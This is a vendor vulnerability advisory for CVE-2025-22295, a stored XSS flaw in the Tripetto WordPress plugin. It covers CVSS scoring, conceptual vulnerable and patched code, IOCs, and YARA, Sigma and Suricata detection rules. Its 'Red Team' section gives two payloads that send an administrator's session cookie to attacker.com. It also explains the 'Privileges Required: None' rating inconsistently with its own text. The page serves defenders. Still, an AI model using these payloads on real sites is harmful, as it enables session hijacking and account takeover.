CVE-2025-22295
Executive Summary
CVE-2025-22295 is a Stored Cross-Site Scripting (XSS) vulnerability in the Tripetto WordPress form builder plugin (versions up to and including 8.0.6). This flaw allows an authenticated attacker with contributor-level privileges or higher to inject malicious scripts into form fields or survey questions. When an administrator or other user views the affected form data, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The vulnerability is classified as a WordPress ecosystem issue, specifically affecting the Tripetto plugin, and does not involve Apache or Nginx server software.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository. Users who installed Tripetto from the WordPress admin dashboard or via direct download are affected. The plugin is not distributed via NPM, PyPI, Go, or Ruby, so no package manager-specific supply chain risks apply. However, the lack of a confirmed patch means that users must rely on manual mitigation or plugin removal until an update is released.
CVSS Breakdown & Threat Level
- CVSS Score: 7.1 (High)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
- Attack Vector (AV): Network – The vulnerability can be exploited remotely.
- Attack Complexity (AC): Low – No special conditions are required.
- Privileges Required (PR): None – An attacker does not need to be authenticated to trigger the stored XSS (though injection requires contributor-level access).
- User Interaction (UI): Required – The victim must view the malicious form data.
- Scope (S): Changed – The injected script can affect resources beyond the vulnerable component.
- Confidentiality (C): Low – Limited data exposure possible.
- Integrity (I): Low – Limited ability to modify data.
- Availability (A): Low – Limited impact on availability.
Threat Level: High. Stored XSS in a widely-used form builder can lead to persistent compromise of admin sessions and data theft.
Deep Dive & Mechanics
The Tripetto plugin allows users to create forms, surveys, and quizzes. The vulnerability lies in the improper neutralization of user-supplied input during web page generation. Specifically, when a form field (e.g., a text input or survey question) is saved, the plugin fails to sanitize or escape HTML/JavaScript content. This allows an attacker with contributor-level access to inject malicious scripts into form fields.
When an administrator or other user views the form results or the form builder interface, the injected script executes in the context of the victim's browser. This can lead to:
- Session cookie theft (via
document.cookie) - Redirection to malicious sites
- Defacement of the WordPress admin panel
- Keylogging or credential harvesting
The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation). The lack of output encoding or input validation in the plugin's rendering functions is the root cause.
Vulnerable vs. Patched Code
Since no official patch is available, the following comparison is based on typical XSS mitigation patterns.
Vulnerable Code (Conceptual):
// In a Tripetto form rendering function
function render_form_field($field_value) {
echo "<div class='tripetto-field'>" . $field_value . "</div>";
}
The $field_value is directly echoed without escaping, allowing <script>alert('XSS')</script> to be rendered.
Patched Code (Conceptual):
function render_form_field($field_value) {
$safe_value = esc_html($field_value); // WordPress escaping function
echo "<div class='tripetto-field'>" . $safe_value . "</div>";
}
The esc_html() function converts special characters to HTML entities, preventing script execution.
Exploitation & Lab Setup
Red Team
Prerequisites:
- A WordPress instance with Tripetto plugin version <= 8.0.6
- A contributor-level account (or higher)
Steps:
- Log in as a contributor.
- Create a new form or edit an existing one.
- In a text field or survey question, inject the following payload:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Save the form.
- Wait for an administrator to view the form results or the form builder interface.
- The script executes, sending the admin's session cookie to the attacker's server.
Alternative Payload (Session Hijacking):
<img src=x onerror="document.location='https://attacker.com/steal?cookie='+document.cookie">
Blue Team
Detection:
- Monitor for unusual form submissions containing
<script>tags or event handlers. - Use Web Application Firewall (WAF) rules to block common XSS patterns.
- Review WordPress logs for suspicious form creation or editing activity.
Mitigation:
- Disable the Tripetto plugin until a patch is released.
- Implement Content Security Policy (CSP) headers to restrict script execution.
- Use WordPress security plugins (e.g., Wordfence) to detect and block XSS attempts.
Indicators of Compromise (IOCs)
- Network: Outbound HTTP requests to unknown domains containing
cookie=ordocument.cookiein the URL. - File: Modified Tripetto plugin files (e.g.,
wp-content/plugins/tripetto/) containing injected JavaScript. - Log: WordPress debug logs showing
esc_htmlfailures or unescaped output. - Browser: Unexpected pop-ups, redirects, or console errors in the WordPress admin panel.
Detection Engineering
YARA Rule
rule tripetto_stored_xss {
meta:
description = "Detects Tripetto plugin files containing potential XSS payloads"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-22295"
strings:
$xss1 = "<script>" nocase
$xss2 = "onerror=" nocase
$xss3 = "onload=" nocase
$xss4 = "javascript:" nocase
condition:
any of ($xss*) and filesize < 10MB
}
Sigma Rule
title: Tripetto Stored XSS Detection
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects potential stored XSS in Tripetto plugin submissions
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
c-uri|contains: '/wp-admin/admin-ajax.php'
cs-uri-query|contains: 'action=tripetto_save_form'
cs-request|contains:
- '<script>'
- 'onerror='
- 'onload='
condition: selection
falsepositives:
- Legitimate use of HTML in form fields (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-22295 Tripetto Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=tripetto_save_form"; http_client_body; pcre:"/(<script|onerror|onload|javascript)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate: Disable the Tripetto plugin until an official patch is released.
- Short-term: Implement a Web Application Firewall (WAF) rule to block XSS payloads in form submissions.
- Long-term: Apply output escaping (e.g.,
esc_html(),esc_attr()) to all user-supplied data in the plugin. - Monitor: Regularly review WordPress logs for suspicious activity and use security plugins to detect XSS.
- Update: Subscribe to Tripetto's security advisories for patch announcements.
Valters IT
DevSecOps & Cyber Threat Intelligence
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.